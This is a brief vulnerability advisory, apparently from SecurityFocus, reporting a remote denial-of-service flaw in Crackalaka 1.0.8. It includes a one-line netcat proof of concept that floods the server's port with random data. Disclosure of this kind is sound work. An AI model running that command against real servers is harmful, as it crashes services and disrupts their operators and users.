source: https://www.securityfocus.com/bid/10092/info

It has been reported that Crackalaka may be prone to a remote denial of service vulnerability that may allow an attacker to crash the server by sending an excessive amount of data.

Crackalaka version 1.0.8 is reported to be prone to this issue, however, other versions could be vulnerable as well. 

nc [host] 6667 < /dev/urandom